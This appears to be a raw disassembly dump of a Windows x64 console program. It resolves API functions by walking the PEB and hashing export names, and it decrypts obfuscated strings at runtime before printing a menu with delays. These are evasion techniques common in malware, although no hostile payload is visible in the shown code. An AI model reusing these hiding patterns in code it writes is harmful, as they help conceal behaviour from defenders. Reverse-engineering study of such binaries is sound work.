mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b539
mov rcx, rdi
call fcn.14006ed14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005ae6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005ae6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x5b2fd6c3
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140005ae1
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140005ac0
cmp r8d, 0x824988e6
je 0x140005aeb
test r9d, r9d
jne 0x140005aa0
mov rax, qword [rax]
jmp 0x140005a70
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
jmp 0x140004a50
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._n___
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x3f0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x3f8], rax
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x400]
call fcn.14000c850
mov dword [rsp + 0x44], 0x80000
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x400]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], 0
lea rcx, [rbp + 0x400]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082560]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x410], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x418], rax
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x420]
call fcn.14000c850
mov dword [rsp + 0x44], 0x200000
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x420]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], 0
lea rcx, [rbp + 0x420]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x430], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x438], rax
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x440]
call fcn.14000c850
mov dword [rsp + 0x44], 0x100000
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x440]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], 0
lea rcx, [rbp + 0x440]
call fcn.14000b560
movups xmm0, xmmword [str.o_WUY]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [str.___n_t_r]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x140083b18]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140083b20]
mov dword [rbp - 0x48], eax
movzx eax, word [0x140083b24]
mov word [rbp - 0x44], ax
xor r8d, r8d
lea r15d, [r8 + 4]
cmp r13d, 2
jl 0x140005eb7
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140005db0
cmp r8d, 0x2e
jge 0x140005f00
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x140005ed0
lea rdx, [rbp - 0x70]
lea rcx, [rbp]
call fcn.1400030b0
nop
xor ebx, ebx
mov rsi, qword [rbp + 0x18]
mov rdi, qword [rbp]
mov r14, qword [rbp + 0x10]
test r14, r14
je 0x140005f5f
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r14
jne 0x140005f30
cmp rsi, 0x10
jb 0x140005f96
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140005f8e
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b539
mov rcx, rdi
call fcn.14006ed14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140006026
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140006026
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xb4ded79d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140006021
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006000
cmp r8d, 0x194df460
je 0x14000602b
test r9d, r9d
jne 0x140005fe0
mov rax, qword [rax]
jmp 0x140005fb0
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rdx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
mov eax, dword [0x140083acc]
mov dword [rsp + 0x48], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400060e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400060e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xa3dc7e43
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400060e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400060c0
cmp r8d, 0xa18c43ca
je 0x1400060eb
test r9d, r9d
jne 0x1400060a0
mov rax, qword [rax]
jmp 0x140006070
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r13d, 2
jl 0x14000619b
movdqa xmm3, xmmword [0x14008c670]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14008c6c0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14008c6c0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r15d
psrad xmm2, xmm0
mov edi, Ordinal_32
movd xmm0, edi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14008c690]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999O]
movd xmm0, dword [rsp + 0x48]
pxor xmm2, xmm0
movd dword [rsp + 0x48], xmm2
jmp 0x1400061e5
lea r9, [rsp + 0x48]
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400061b0
mov edi, Ordinal_32
lea rcx, [rsp + 0x48]
call r11
lea rcx, str.Enter_Choice
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rsi, qword [rbp + 0x40]
mov r14, qword [rbp + 0x58]
mov edx, 0xfffffff0
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov r12d, eax
lea rdx, [rbp + 0x798]
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowRect]
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._______________________________________________
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x450], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x458], rax
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x750]
call fcn.14000c850
mov r14d, dword [rsp + 0x40]
or r14d, 8
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
and r14d, 0xfffffff7
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x750]
call fcn.14000b560
lea rdx, str._______________________________________________________________________________________________________________________________n______________.________________________n____________________________________n______________________________n______________Y_______________n_______________________________n________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
mov rcx, rax
mov dl, 0xa
call fcn.14000bd50
mov edx, 5
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.______________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 7
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140083c88]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [str.jc_n____86]
movups xmmword [rsp + 0x70], xmm1
mov eax, dword [0x140083ca8]
mov dword [rbp - 0x80], eax
movzx eax, byte [0x140083cac]
mov byte [rbp - 0x7c], al
xor r8d, r8d
cmp r13d, 2
jl 0x1400064a7
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400063a0
cmp r8d, 0x25
jge 0x1400064f0
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x1400064c0
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.1400030b0
nop
xor ebx, ebx
mov rsi, qword [rbp + 0x18]
mov rdi, qword [rbp]
mov r15, qword [rbp + 0x10]
test r15, r15
je 0x14000654f
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rbx + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r15
jne 0x140006520
cmp rsi, 0x10
jb 0x140006586
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000657e
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b539
mov rcx, rdi
call fcn.14006ed14
lea rdx, [0x140082b08]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 5
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.______________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 7
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140083ad0]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140083ae0]
movups xmmword [rsp + 0x70], xmm1
mov eax, dword [0x140083af0]
mov dword [rbp - 0x80], eax
movzx eax, word [0x140083af4]
mov word [rbp - 0x7c], ax
movzx eax, byte [0x140083af6]
mov byte [rbp - 0x7a], al
xor r8d, r8d
cmp r13d, 2
jl 0x140006777
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x14008c690]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140006670
cmp r8d, 0x27
jge 0x1400067c0
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140006790
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.1400030b0
nop
xor ebx, ebx
mov rsi, qword [rbp + 0x18]
mov rdi, qword [rbp]
mov r15, qword [rbp + 0x10]
test r15, r15
je 0x14000681f
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r15
jne 0x1400067f0
cmp rsi, 0x10
jb 0x140006856
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000684e
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b539
mov rcx, rdi
call fcn.14006ed14
lea rdx, [0x140082b08]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 5
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.______________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 7
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140083d58]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x140083d68]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x140083d70]
mov dword [rbp + 0x18], eax
movzx eax, byte [0x140083d74]
mov byte [rbp + 0x1c], al
xor r8d, r8d
cmp r13d, 2
jl 0x140006a47
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x14008c690]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140006940
cmp r8d, 0x1d
jge 0x140006a90
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140006a60
lea rdx, [rbp]
lea rcx, [rbp + 0x20]
call fcn.1400030b0
nop
xor ebx, ebx
mov rsi, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x20]
mov r15, qword [rbp + 0x30]
test r15, r15
je 0x140006aef
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp + 0x20]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r15
jne 0x140006ac0
cmp rsi, 0x10
jb 0x140006b26
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140006b1e
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b539
mov rcx, rdi
call fcn.14006ed14
lea rdx, [0x140082b08]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 5
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.______________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
